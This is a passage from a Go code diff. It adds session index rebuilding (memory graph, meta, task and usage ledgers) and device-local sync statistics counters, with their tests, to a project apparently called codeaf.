{ + d, err := session.ReadDigest(session.Place{Dir: c.Root}.Transcript()) + if err == nil && workspace != "" { + d.Workspace = workspace + } + return d, err +} + +func missingOf(c cell.Cell) []Index { + var out []Index + for _, ix := range Indexes { + if !ix.Present(c) { + out = append(out, ix) + } + } + return out +} diff --git a/internal/cellindex/memories.go b/internal/cellindex/memories.go new file mode 100644 index 0000000000..bf3fca3c8e --- /dev/null +++ b/internal/cellindex/memories.go @@ -0,0 +1,75 @@ +package cellindex + +import ( + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/session" + "github.com/Agent-Field/codeaf/internal/store" +) + +// memoryIndex is this session's share of the machine's graph.db: the memories +// its ledger (.cell/memories.jsonl) says it wrote. The ledger is the truth and +// the graph is the index of it, so a graph that lost them is read back from it. +type memoryIndex struct{} + +func (memoryIndex) Name() string { return "graph.db memories" } + +// Present reports whether the graph holds every memory the ledger brought into +// being. A session with no ledger, or nothing in it, owes the graph nothing. +func (memoryIndex) Present(c cell.Cell) bool { + events, err := session.ReadMemoryEvents(c.Root) + if err != nil || len(events) == 0 { + return true + } + brain, err := store.Open(home.Join("graph.db")) + if err != nil { + return true // an unreadable graph is not ours to write into + } + defer brain.Close() + return holdsEvery(brain, events) +} + +func (memoryIndex) Build(c cell.Cell, _ session.Digest) error { + events, err := session.ReadMemoryEvents(c.Root) + if err != nil { + return err + } + brain, err := store.Open(home.Join("graph.db")) + if err != nil { + return err + } + defer brain.Close() + return brain.ImportMemoryEvents(events) +} + +// Behind reports whether the ledger holds a memory event the graph never saw: a +// write of a newer copy, such as an edit of a memory both copies had. +func (memoryIndex) Behind(c cell.Cell, _ session.Digest) bool { + events, err := session.ReadMemoryEvents(c.Root) + if err != nil || len(events) == 0 { + return false + } + brain, err := store.Open(home.Join("graph.db")) + if err != nil { + return false + } + defer brain.Close() + for _, e := range events { + if held, err := brain.HoldsMemoryEvent(e); err == nil && !held { + return true + } + } + return false +} + +func holdsEvery(brain *store.Store, events []store.MemoryEvent) bool { + for _, e := range events { + if !e.Creates() { + continue + } + if _, found, err := brain.MemoryRecord(e.ID); err != nil || !found { + return false + } + } + return true +} diff --git a/internal/cellindex/meta.go b/internal/cellindex/meta.go new file mode 100644 index 0000000000..bad90bdf8a --- /dev/null +++ b/internal/cellindex/meta.go @@ -0,0 +1,43 @@ +package cellindex + +import ( + "path/filepath" + "strings" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/session" +) + +func baseName(dir string) string { return filepath.Base(filepath.Clean(dir)) } + +// metaIndex is the session folder's meta.json: the row a picker reads without +// opening the journal. +type metaIndex struct{} + +func (metaIndex) Name() string { return "meta.json" } + +func (metaIndex) Present(c cell.Cell) bool { + m, _ := session.LoadMeta(c.Root) + return strings.TrimSpace(m.ID) != "" +} + +func (metaIndex) Build(c cell.Cell, d session.Digest) error { + if d.ID == "" { + return nil // no header yet: nothing has been said, so there is no row + } + held, _ := session.LoadMeta(c.Root) // the sealed truth the summary is written beside + return session.SaveMeta(c.Root, d.Derive(held)) +} + +// spendEpsilon is the dollars below which two spends are the same: the ledger +// keeps whole micro dollars. +const spendEpsilon = 1e-6 + +// Behind reports whether the transcript holds spend the row does not: the row +// is from an older copy. A row that says MORE than the transcript is the live +// session's own total, which also counts calls no transcript line holds. +func (metaIndex) Behind(c cell.Cell, d session.Digest) bool { + m, _ := session.LoadMeta(c.Root) + usd, tokens := d.Spend() + return usd > m.SpentUSD+spendEpsilon || tokens > m.Tokens +} diff --git a/internal/cellindex/refresh_test.go b/internal/cellindex/refresh_test.go new file mode 100644 index 0000000000..e5c05b91c1 --- /dev/null +++ b/internal/cellindex/refresh_test.go @@ -0,0 +1,125 @@ +package cellindex + +import ( + "os" + "path/filepath" + "strconv" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/session" + "github.com/Agent-Field/codeaf/internal/store" +) + +func chatCell(t *testing.T) cell.Cell { + t.Helper() + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + return c +} + +// writeTranscript gives the chat's journal one usage line per cost, so the +// digest says what the chat spent when no receipt chain does. +func writeTranscript(t *testing.T, c cell.Cell, costs ...float64) { + t.Helper() + body := `{"type":"session","id":"` + c.ID + `","timestamp":"2026-01-01T00:00:00Z"}` + "\n" + for _, usd := range costs { + body += `{"type":"usage","timestamp":"2026-01-01T00:00:01Z","usage":{"model":"m","role":"turn","calls":1,"input":10,"output":5,"costUsd":` + ftoa(usd) + `}}` + "\n" + } + path := session.Place{Dir: c.Root}.Transcript() + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o644); err != nil { + t.Fatal(err) + } +} + +func ftoa(f float64) string { return string(strconv.AppendFloat(nil, f, 'f', -1, 64)) } + +// A copy of a chat this machine already held has the ledger rows of the older +// copy. A refresh after a take adds the rows of the turns made since, once, and +// the spend on the session row follows. +func TestRefreshBringsInTheRowsOfTurnsMadeSinceTheOlderCopy(t *testing.T) { + t.Setenv(home.EnvVar, t.TempDir()) + c := chatCell(t) + older := []float64{0.01, 0.02} + writeTranscript(t, c, older...) + if _, err := Rebuild(c, ""); err != nil { + t.Fatal(err) + } + before := totalOf(t) + if before.micro != 30000 { + t.Fatalf("older copy holds %+v", before) + } + + writeTranscript(t, c, 0.01, 0.02, 0.03, 0.04) // the take brings two more turns + if built, err := Rebuild(c, ""); err != nil || len(built) != 0 { + t.Fatalf("an ordinary open must leave present indexes alone, built %v err %v", built, err) + } + built, err := Refresh(c, "") + if err != nil { + t.Fatal(err) + } + if !contains(built, "usage.jsonl") || !contains(built, "meta.json") { + t.Fatalf("refresh built %v", built) + } + if got := totalOf(t); got.micro != 100000 || got.in != 40 { + t.Fatalf("after refresh the ledger holds %+v, want all four turns once", got) + } + if m, _ := session.LoadMeta(c.Root); m.SpentUSD < 0.0999 || m.SpentUSD > 0.1001 { + t.Fatalf("session row spend %v", m.SpentUSD) + } + if built, _ := Refresh(c, ""); len(built) != 0 { + t.Fatalf("a second refresh built %v", built) + } +} + +// A memory both copies had and the newer copy edited is edited on this machine +// too, and its journal does not double. +func TestRefreshReplaysMemoryEventsTheGraphNeverSaw(t *testing.T) { + t.Setenv(home.EnvVar, t.TempDir()) + c := chatCell(t) + session.CellMemories.Bind(c.ID, c.Root, nil) + writeTranscript(t, c, 0.01) + + a, err := store.Open(filepath.Join(t.TempDir(), "a.db")) + if err != nil { + t.Fatal(err) + } + defer a.Close() + a.SetMemoryLedger(session.CellMemories) + m, err := a.AddMemory(store.Memory{Type: store.MemoryFact, Scope: store.MemoryScopeProject, Title: "t", Text: "old", SourceSession: c.ID}) + if err != nil { + t.Fatal(err) + } + // This machine's graph holds the first event only. + held, _ := session.ReadMemoryEvents(c.Root) + b, err := store.Open(home.Join("graph.db")) + if err != nil { + t.Fatal(err) + } + if err := b.ImportMemoryEvents(held); err != nil { + t.Fatal(err) + } + b.Close() + if err := a.UpdateMemoryFromSession(m.ID, "t", "new", nil, c.ID); err != nil { + t.Fatal(err) + } + + if _, err := Refresh(c, ""); err != nil { + t.Fatal(err) + } + b, _ = store.Open(home.Join("graph.db")) + defer b.Close() + got, found, err := b.MemoryRecord(m.ID) + if err != nil || !found || got.Text != "new" { + t.Fatalf("memory on this machine: %+v found %v err %v", got, found, err) + } + if built, _ := Refresh(c, ""); contains(built, "graph.db memories") { + t.Fatalf("a second refresh replayed the ledger: %v", built) + } +} diff --git a/internal/cellindex/tasks.go b/internal/cellindex/tasks.go new file mode 100644 index 0000000000..c26901f882 --- /dev/null +++ b/internal/cellindex/tasks.go @@ -0,0 +1,36 @@ +package cellindex + +import ( + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/session" +) + +// taskIndex is this session's share of the bucket's task index: one row per +// landed node and per settled run the checkpoint records. The file sits in the +// bucket, outside the cell, shared with every other session there. +type taskIndex struct{} + +func (taskIndex) Name() string { return "tasks.jsonl" } + +// Present reports whether the bucket already names every row the checkpoint +// owes it. Naming the session in one row is not enough: the rows of a run are +// written live, so a moved chat can arrive with its nodes in the file and its +// runs missing. +func (t taskIndex) Present(c cell.Cell) bool { + return len(t.missing(c)) == 0 +} + +// Build appends only the rows the bucket lacks, so rows already there, and the +// rows of other sessions, are left as they are. +func (t taskIndex) Build(c cell.Cell, _ session.Digest) error { + session.AppendTaskRows(t.path(c), t.missing(c)) + return nil +} + +func (t taskIndex) missing(c cell.Cell) []session.TaskIndexEntry { + return session.MissingTaskRows(t.path(c), session.RebuiltTaskRows(c.Root)) +} + +func (taskIndex) path(c cell.Cell) string { + return session.TaskIndexPath(session.Place{Dir: c.Root}.Transcript()) +} diff --git a/internal/cellindex/usage.go b/internal/cellindex/usage.go new file mode 100644 index 0000000000..e0efea65b1 --- /dev/null +++ b/internal/cellindex/usage.go @@ -0,0 +1,103 @@ +package cellindex + +import ( + "bufio" + "bytes" + "errors" + "io/fs" + "math" + "os" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/session" +) + +// usageIndex is this session's share of the machine-wide usage ledger: one row +// per model call the receipt chain sealed, so a rewind never drops spend. A cell +// sealed before receipts carried model calls falls back to the usage lines the +// transcript journaled. +// +// The ledger row a live call writes also carries lane timings, seat and task +// ids that no receipt holds; a rebuilt row leaves them absent, which the ledger +// reads as "nobody said". Totals match; a receipt keeps cost in whole micro +// dollars, so a rebuilt row is the live one rounded to that unit. +type usageIndex struct{} + +func (usageIndex) Name() string { return "usage.jsonl" } + +// Present reports whether the ledger already names the session in any row. +func (usageIndex) Present(c cell.Cell) bool { + return ledgerRows(session.UsageLedgerPath(), c.ID) > 0 +} + +// Behind reports whether the chat spent on calls the ledger has no row for: the +// copy this machine held was older than the one a take just brought. +func (usageIndex) Behind(c cell.Cell, d session.Digest) bool { + lines, err := usageLines(c, d) + return err == nil && len(lines) > ledgerRows(session.UsageLedgerPath(), c.ID) +} + +// Build appends the rows the ledger lacks. Rows are in call order and a copy +// holds a prefix of them, so the rows already held are the first ones. +func (usageIndex) Build(c cell.Cell, d session.Digest) error { + lines, err := usageLines(c, d) + if err != nil { + return err + } + path := session.UsageLedgerPath() + for _, line := range lines[min(ledgerRows(path, c.ID), len(lines)):] { + session.RecordUsage(path, line) + } + session.FlushUsage() + return nil +} + +// usageLines is what the session spent: the receipt chain's model calls, which +// no rewind removes; and, for a cell sealed before receipts carried them, the +// transcript's usage lines. +func usageLines(c cell.Cell, d session.Digest) ([]session.UsageLine, error) { + sealed, err := cellstore.ModelCalls(c) + if err != nil || len(sealed) == 0 { + return d.Usage, err + } + lines := make([]session.UsageLine, len(sealed)) + for i, s := range sealed { + lines[i] = usageOfCall(c, d, s) + } + return lines, nil +} + +func usageOfCall(c cell.Cell, d session.Digest, s cellstore.SealedCall) session.UsageLine { + return session.UsageLine{ + At: time.UnixMilli(s.SealedAtMs), Model: s.Model, Role: s.Role, Calls: 1, + Input: int(s.TokensIn), Output: int(s.TokensOut), USD: float64(s.CostMicroUSD) / 1e6, + Session: c.ID, Workspace: d.Workspace, + } +} + +// ledgerRows counts the ledger rows that name the session, without parsing any +// row. An unreadable ledger answers as if it were full: it is not ours to append to. +func ledgerRows(path, session string) int { + f, err := os.Open(path) + if errors.Is(err, fs.ErrNotExist) { + return 0 + } + if err != nil { + return math.MaxInt + } + defer f.Close() + marker := []byte(`"session":"` + session + `"`) + n := 0 + r := bufio.NewReaderSize(f, 1<<20) + for { + line, err := r.ReadBytes('\n') + if bytes.Contains(line, marker) { + n++ + } + if err != nil { + return n + } + } +} diff --git a/internal/cellindex/usage_test.go b/internal/cellindex/usage_test.go new file mode 100644 index 0000000000..540b3422ea --- /dev/null +++ b/internal/cellindex/usage_test.go @@ -0,0 +1,148 @@ +package cellindex + +import ( + "context" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/furrow" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/session" +) + +type total struct { + in, out int + micro int64 +} + +func totalOf(t *testing.T) (sum total) { + t.Helper() + session.FlushUsage() + lines, err := session.ReadUsage(session.UsageLedgerPath(), time.Time{}) + if err != nil { + t.Fatal(err) + } + for _, l := range lines { + sum.in, sum.out, sum.micro = sum.in+l.Input, sum.out+l.Output, sum.micro+int64(l.USD*1e6+0.5) + } + return sum +} + +// Deleting the ledger and rebuilding it from the receipts gives back exactly +// what the live rows said, and a rewind afterwards changes nothing. +func TestUsageRebuildsFromReceiptsAndSurvivesARewind(t *testing.T) { + bin, err := furrow.ResolveOwned() + if err != nil { + t.Skipf("no engine binary: %v", err) + } + t.Setenv(home.EnvVar, t.TempDir()) + e := cellstore.Engine{Binary: bin, DataRoot: t.TempDir()} + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + rec, err := cellstore.NewRecorder(nil, e, c, filepath.Join(t.TempDir(), "wal"), cellstore.Options{}) + if err != nil { + t.Fatal(err) + } + for i, micro := range []int64{1234, 5678, 91011} { + call := executor.ModelCall{Model: "m", Role: "turn", TokensIn: 100 * (i + 1), TokensOut: 7 * (i + 1), CostMicroUSD: micro} + session.RecordUsage(session.UsageLedgerPath(), session.UsageLine{Model: "m", Session: c.ID, + Input: call.TokensIn, Output: call.TokensOut, USD: float64(micro) / 1e6}) + rec.NoteModelCall(call) + if err := os.WriteFile(filepath.Join(c.Root, "f.txt"), []byte{byte('a' + i)}, 0o644); err != nil { + t.Fatal(err) + } + around(t, rec) + } + live := totalOf(t) + rebuilt := rebuildFresh(t, c) + if rebuilt != live { + t.Fatalf("rebuilt %+v, live %+v", rebuilt, live) + } + turns, _ := cellstore.Turns(c) + if _, err := e.Rewind(context.Background(), c, turns[0].ID); err != nil { + t.Fatal(err) + } + if again := rebuildFresh(t, c); again != live { + t.Fatalf("after rewind %+v, live %+v", again, live) + } +} + +func around(t *testing.T, rec *cellstore.Recorder) { + t.Helper() + call := executor.Call{Tool: "edit", Args: []byte(`{}`)} + if err := rec.Around(context.Background(), call, executor.EffectLocal, cellstore.AgentRun, func() ([]byte, bool) { return nil, false }); err != nil { + t.Fatal(err) + } +} + +// rebuildFresh deletes the ledger, rebuilds it and reads it back. +func rebuildFresh(t *testing.T, c cell.Cell) total { + t.Helper() + session.StopUsageWriter(session.UsageLedgerPath()) // a writer holds the old file open + if err := os.Remove(session.UsageLedgerPath()); err != nil { + t.Fatal(err) + } + built, err := Rebuild(c, "") + if err != nil { + t.Fatal(err) + } + if !contains(built, "usage.jsonl") { + t.Fatalf("built %v", built) + } + return totalOf(t) +} + +func contains(list []string, s string) bool { + for _, x := range list { + if x == s { + return true + } + } + return false +} + +// The log a take carries does not name the newest turn, but that turn's receipt +// is in the tree: its calls are still the chat's spend. +func TestUsageCountsTheReceiptOfATurnTheCarriedLogDoesNotName(t *testing.T) { + bin, err := furrow.ResolveOwned() + if err != nil { + t.Skipf("no engine binary: %v", err) + } + t.Setenv(home.EnvVar, t.TempDir()) + e := cellstore.Engine{Binary: bin, DataRoot: t.TempDir()} + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + rec, err := cellstore.NewRecorder(nil, e, c, filepath.Join(t.TempDir(), "wal"), cellstore.Options{}) + if err != nil { + t.Fatal(err) + } + for i := range 3 { + rec.NoteModelCall(executor.ModelCall{Model: "m", Role: "turn", TokensIn: 10, TokensOut: 1, CostMicroUSD: 1000}) + if err := os.WriteFile(filepath.Join(c.Root, "f.txt"), []byte{byte('a' + i)}, 0o644); err != nil { + t.Fatal(err) + } + around(t, rec) + } + rec.Settle(context.Background()) + all, _ := cellstore.ModelCalls(c) + + path := filepath.Join(c.Root, cellstore.TurnsPath) + raw, _ := os.ReadFile(path) + lines := strings.SplitAfter(strings.TrimRight(string(raw), "\n"), "\n") + if err := os.WriteFile(path, []byte(strings.Join(lines[:len(lines)-1], "")), 0o600); err != nil { + t.Fatal(err) + } + if got, err := cellstore.ModelCalls(c); err != nil || len(got) != len(all) || len(all) != 3 { + t.Fatalf("with the newest line missing %d calls are counted (%v), want %d", len(got), err, len(all)) + } +} diff --git a/internal/cellstats/cellstats_test.go b/internal/cellstats/cellstats_test.go new file mode 100644 index 0000000000..5ba8705721 --- /dev/null +++ b/internal/cellstats/cellstats_test.go @@ -0,0 +1,157 @@ +package cellstats_test + +import ( + "context" + "os" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cellstats" + "github.com/Agent-Field/codeaf/internal/cellsync" +) + +type fakeMeter struct{ c cellstats.Counts } + +func (f *fakeMeter) Snapshot() cellstats.Counts { return f.c } + +const golden = `{"V":1,"turn":"t1","turns":2,"frames":1,"objects":14,"bytes_up":20480,"puts":1,"gets":0,"has":0,"bytes_down":0}` + "\n" + +func TestStatsLineShape(t *testing.T) { + m := &fakeMeter{cellstats.Counts{Puts: 1, BytesUp: 20480}} + r := cellstats.NewRecorder(t.TempDir(), "c1", m) + r.OnFlush(cellsync.Flush{Head: "t1", Turns: 2, Frames: 1, Objects: 14, Bytes: 20480}) + got, err := os.ReadFile(r.Path) + if err != nil { + t.Fatal(err) + } + if string(got) != golden { + t.Fatalf("stats line = %q, want %q", got, golden) + } +} + +func TestStatsAreDeltasAndAppendOnly(t *testing.T) { + m := &fakeMeter{} + home := t.TempDir() + r := cellstats.NewRecorder(home, "c1", m) + m.c = cellstats.Counts{Puts: 1, BytesUp: 100} + r.OnFlush(cellsync.Flush{Head: "a"}) + first, _ := os.ReadFile(r.Path) + m.c = cellstats.Counts{Puts: 3, Gets: 2, BytesUp: 250, BytesDown: 40} + r.OnFlush(cellsync.Flush{Head: "b"}) + all, _ := os.ReadFile(r.Path) + if !strings.HasPrefix(string(all), string(first)) { + t.Fatal("a later flush changed an earlier line") + } + lines, err := cellstats.Read(home, "c1") + if err != nil || len(lines) != 2 { + t.Fatalf("lines = %v, err = %v", lines, err) + } + if l := lines[1]; l.Puts != 2 || l.Gets != 2 || l.BytesUp != 150 || l.BytesDown != 40 { + t.Fatalf("second line = %+v, want the growth since the first", l) + } + if tot := cellstats.Total(lines); tot.Puts != 3 || tot.BytesUp != 250 { + t.Fatalf("total = %+v", tot) + } +} + +func TestStatsWriteFailureNeverFailsTheFlush(t *testing.T) { + blocker := t.TempDir() + "/file" + if err := os.WriteFile(blocker, nil, 0o600); err != nil { + t.Fatal(err) + } + r := cellstats.NewRecorder(blocker, "c1", nil) // a file where a directory must be + r.OnFlush(cellsync.Flush{Head: "a"}) + if r.Err() == nil { + t.Fatal("an unwritable stats file must be reported through Err") + } +} + +func TestReadOfACellThatNeverFlushedIsEmpty(t *testing.T) { + lines, err := cellstats.Read(t.TempDir(), "c1") + if err != nil || len(lines) != 0 { + t.Fatalf("lines = %v, err = %v", lines, err) + } +} + +func TestStatsCarryNoPaths(t *testing.T) { + const secretName, secretTitle = "secret-plan-2026.txt", "Quarterly layoffs memo" + s := newSession(t, secretTitle) + s.sealAndFlush(t, map[string]string{"dir/" + secretName: "the body is also secret"}) + raw, err := os.ReadFile(cellstats.Path(s.home, cellID)) + if err != nil || len(raw) == 0 { + t.Fatalf("no stats written: %v", err) + } + for _, leak := range []string{"secret", "layoffs", "Quarterly", "dir/", "body", s.cell.Root, s.home} { + if strings.Contains(string(raw), leak) { + t.Fatalf("stats file leaks %q: %s", leak, raw) + } + } +} + +// The counters of a session equal the server's own count for the same identity. +func TestCountersMatchRelayStats(t *testing.T) { + s := newSession(t, "t") + ctx := context.Background() + if _, err := s.store.Has(ctx, []string{strings.Repeat("a", 64)}); err != nil { + t.Fatal(err) + } + if _, err := s.store.Get(ctx, strings.Repeat("b", 64)); err == nil { // a miss is still a request + t.Fatal("expected not found") + } + s.sealAndFlush(t, map[string]string{"a": "one", "b": "two"}) + lines, err := cellstats.Read(s.home, cellID) + if err != nil || len(lines) == 0 { + t.Fatalf("lines = %v, err = %v", lines, err) + } + want, err := s.client.Stats(ctx) + if err != nil { + t.Fatal(err) + } + got := cellstats.Total(lines) + if got.Puts != want.Puts || got.Gets != want.Gets || got.Has != want.Has || + got.BytesUp != want.BytesIn || got.BytesDown != want.BytesOut { + t.Fatalf("session counters %+v differ from the store's %+v", got, want) + } + if got.Puts == 0 || got.Has != 1 || got.Gets != 1 { + t.Fatalf("the comparison is empty: %+v", got) + } +} + +func TestStatsSettleCarriesWhatNoFlushDid(t *testing.T) { + m := &fakeMeter{} + home := t.TempDir() + r := cellstats.NewRecorder(home, "c1", m) + r.Settle() + if _, err := os.Stat(r.Path); err == nil { + t.Fatal("settling with nothing counted wrote a line") + } + m.c = cellstats.Counts{Gets: 5, BytesDown: 900} + r.Settle() + r.Settle() // the second settle has nothing new to say + lines, err := cellstats.Read(home, "c1") + if err != nil || len(lines) != 1 { + t.Fatalf("lines = %v, err = %v; want one", lines, err) + } + if l := lines[0]; l.Turn != "" || l.Gets != 5 || l.BytesDown != 900 { + t.Fatalf("settled line = %+v", l) + } +} + +func TestStatsReportShowsTheVaultAsItsOwnRow(t *testing.T) { + cell := []cellstats.Line{{V: 1, Turn: "abcdefghijklmnop", Puts: 2, BytesUp: 100}} + vault := []cellstats.Line{{V: 1, Puts: 1, BytesUp: 30}, {V: 1, Gets: 1, BytesDown: 7}} + var out strings.Builder + cellstats.RenderScopes(&out, cell, vault) + rows := strings.Split(strings.TrimSpace(out.String()), "\n") + if len(rows) != 4 || !strings.HasPrefix(rows[2], "total") || !strings.HasPrefix(rows[3], "vault") { + t.Fatalf("report rows = %q; want a flush row, total, then vault", rows) + } + if !strings.Contains(rows[2], " 100 ") || !strings.Contains(rows[3], " 30 ") || !strings.Contains(rows[3], " 7") { + t.Fatalf("the vault row is not kept out of the cell's total:\n%s", out.String()) + } + out.Reset() + cellstats.RenderScopes(&out, nil, nil) + if out.Len() != 0 { + t.Fatalf("an empty report printed %q", out.String()) + } +} diff --git a/internal/cellstats/doc.go b/internal/cellstats/doc.go new file mode 100644 index 0000000000..6a19287c91 --- /dev/null +++ b/internal/cellstats/doc.go @@ -0,0 +1,5 @@ +// Package cellstats keeps the device-local cost counters of contract §11: one +// JSON line per sync flush, holding counts only. A line carries no time, no +// path, no title and no content, so the file is safe to show and safe to send +// when its owner chooses to. Nothing here ever leaves the device by itself. +package cellstats diff --git a/internal/cellstats/line.go b/internal/cellstats/line.go new file mode 100644 index 0000000000..0d3d67f5fc --- /dev/null +++ b/internal/cellstats/line.go @@ -0,0 +1,96 @@ +package cellstats + +import ( + "bufio" + "bytes" + "encoding/json" + "errors" + "fmt" + "io" + "io/fs" + "os" + "path/filepath" +) + +// Line is one flush, exactly as contract §11 freezes it. Every field is a +// count or an opaque id; adding a string field that could hold a name would +// break TestStatsCarryNoPaths, which is the point. +type Line struct { + V int `json:"V"` + Turn string `json:"turn"` + Turns int `json:"turns"` + Frames int `json:"frames"` + Objects int `json:"objects"` + BytesUp int64 `json:"bytes_up"` + Puts int64 `json:"puts"` + Gets int64 `json:"gets"` + Has int64 `json:"has"` + BytesDown int64 `json:"bytes_down"` +} + +// Version is the only line version there is. +const Version = 1 + +// VaultScope names the machine-level scope that holds what carrying the vault +// cost. It is not a cell id and never can be (those are ULIDs), so its lines sit +// beside the cells' in the same folder and are read the same way. +const VaultScope = "vault" + +// Path is where one cell's lines live under a home directory. +func Path(home, cellID string) string { + return filepath.Join(home, "v3", "sync", "stats", cellID+".jsonl") +} + +// Marshal is the one encoding of a line, newline included, shared by the +// stats file and the export so the two can never disagree. +func Marshal(l Line) []byte { + raw, _ := json.Marshal(l) // a struct of scalars cannot fail to encode + return append(raw, '\n') +} + +// Read answers every line of a cell's stats file in append order. A cell that +// never flushed has no file and no lines, which is not an error. +func Read(home, cellID string) ([]Line, error) { + f, err := os.Open(Path(home, cellID)) + if errors.Is(err, fs.ErrNotExist) { + return nil, nil + } + if err != nil { + return nil, err + } + defer f.Close() + return decode(f) +} + +func decode(r io.Reader) ([]Line, error) { + var lines []Line + sc := bufio.NewScanner(r) + for sc.Scan() { + raw := bytes.TrimSpace(sc.Bytes()) + if len(raw) == 0 { + continue + } + var l Line + if err := json.Unmarshal(raw, &l); err != nil { + return nil, fmt.Errorf("cellstats: unreadable line: %w", err) + } + lines = append(lines, l) + } + return lines, sc.Err() +} + +// Total sums a cell's lines. Its Turn is empty: a total names no turn. +func Total(lines []Line) Line { + t := Line{V: Version} + for _, l := range lines { + t.Turns += l.Turns + t.Frames += l.Frames + t.Objects += l.Objects + t.BytesUp += l.BytesUp + t.Puts += l.Puts + t.Gets += l.Gets + t.Has += l.Has + t.BytesDown += l.BytesDown + } + return t +} diff --git a/internal/cellstats/recorder.go b/internal/cellstats/recorder.go new file mode 100644 index 0000000000..58ff690dc9 --- /dev/null +++ b/internal/cellstats/recorder.go @@ -0,0 +1,104 @@ +package cellstats + +import ( + "os" + "path/filepath" + "sync" + + "github.com/Agent-Field/codeaf/internal/cellsync" +) + +// Counts is a snapshot of what one store client has asked of the store so far. +// Its fields match blobstore.Counters so the wiring layer can read one into +// the other without this package importing the decorator. +type Counts struct { + Puts, Gets, Has, BytesUp, BytesDown int64 +} + +// Meter reads a snapshot of the running counters. Keeping the reader this +// small lets any counting store, real or fake, be measured. +type Meter interface{ Snapshot() Counts } + +// MeterFunc makes a function a Meter. +type MeterFunc func() Counts + +// Snapshot implements Meter. +func (f MeterFunc) Snapshot() Counts { return f() } + +// Recorder turns each flush into one appended line. Request and byte figures +// are the meter's growth since the previous flush, so a line is what that one +// flush cost and the lines add up to the meter's total. +type Recorder struct { + Path string + Meter Meter // nil records zero request figures + + mu sync.Mutex + last Counts + err error +} + +// NewRecorder records one cell's flushes under home. A meter is optional. +func NewRecorder(home, cellID string, m Meter) *Recorder { + return &Recorder{Path: Path(home, cellID), Meter: m} +} + +// OnFlush is the cellsync.Batcher hook. It never fails the flush: a stats file +// that cannot be written is kept in Err and the sync carries on. +func (r *Recorder) OnFlush(f cellsync.Flush) { + r.mu.Lock() + defer r.mu.Unlock() + r.err = appendLine(r.Path, r.line(f)) +} + +// Settle writes what the meter has counted since the last line as a line of its +// own with no turn, and writes nothing when nothing was counted. It is how +// requests that no flush carries (a takeover's fetches, the vault's send, a +// publish that failed) still reach the file, so the lines add up to everything +// the store was asked and never to less. +func (r *Recorder) Settle() { + r.mu.Lock() + defer r.mu.Unlock() + if l := r.line(cellsync.Flush{}); l != (Line{V: Version}) { + r.err = appendLine(r.Path, l) + } +} + +// Err is the outcome of the latest write, nil when it worked. +func (r *Recorder) Err() error { + r.mu.Lock() + defer r.mu.Unlock() + return r.err +} + +func (r *Recorder) line(f cellsync.Flush) Line { + l := Line{V: Version, Turn: f.Head, Turns: f.Turns, Frames: f.Frames, Objects: f.Objects} + now := r.snapshot() + l.Puts, l.Gets, l.Has = now.Puts-r.last.Puts, now.Gets-r.last.Gets, now.Has-r.last.Has + l.BytesUp, l.BytesDown = now.BytesUp-r.last.BytesUp, now.BytesDown-r.last.BytesDown + r.last = now + return l +} + +func (r *Recorder) snapshot() Counts { + if r.Meter == nil { + return r.last + } + return r.Meter.Snapshot() +} + +// appendLine adds one line with a single write on an append-only handle, so a +// line is never split and an earlier line is never touched. +func appendLine(path string, l Line) error { + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + return err + } + f, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600) + if err != nil { + return err + } + if _, err := f.Write(Marshal(l)); err != nil { + f.Close() + return err + } + return f.Close() +} diff --git a/internal/cellstats/report.go b/internal/cellstats/report.go new file mode 100644 index 0000000000..b4258b37bf --- /dev/null +++ b/internal/cellstats/report.go @@ -0,0 +1,71 @@ +package cellstats + +import ( + "fmt" + "io" + "os" + "path/filepath" +) + +// ExportNotice is the wording shown when the person asks for an export. +const ExportNotice = "counts only: bytes, objects and requests per turn; no content, no paths" + +// Render prints one row per flush and a total row. With no lines it prints +// nothing at all: an empty report is silence, not a table of zeros. +func Render(w io.Writer, lines []Line) { RenderScopes(w, lines, nil) } + +// RenderScopes prints a cell's rows and, as a row of its own, what carrying the +// vault cost on this device. The vault serves every chat, so it is never folded +// into one cell's total. With nothing in either scope it prints nothing. +func RenderScopes(w io.Writer, lines, vault []Line) { + if len(lines)+len(vault) == 0 { + return + } + fmt.Fprintf(w, "%-12s %5s %6s %7s %10s %5s %5s %5s %10s\n", + "turn", "turns", "frames", "objects", "bytes_up", "puts", "gets", "has", "bytes_down") + for _, l := range lines { + row(w, shortID(l.Turn), l) + } + rowIfAny(w, "total", lines) + rowIfAny(w, VaultScope, vault) +} + +// rowIfAny prints the sum of lines under name, or nothing for no lines. +func rowIfAny(w io.Writer, name string, lines []Line) { + if len(lines) > 0 { + row(w, name, Total(lines)) + } +} + +func row(w io.Writer, name string, l Line) { + fmt.Fprintf(w, "%-12s %5d %6d %7d %10d %5d %5d %5d %10d\n", + name, l.Turns, l.Frames, l.Objects, l.BytesUp, l.Puts, l.Gets, l.Has, l.BytesDown) +} + +// shortID is the first ten characters of a turn id; a line no flush carried has +// no turn and shows a dash. +func shortID(id string) string { + if id == "" { + return "-" + } + if len(id) > 10 { + return id[:10] + } + return id +} + +// Export writes the lines, in the stats file's own encoding, to path. It is +// called only on request, and it 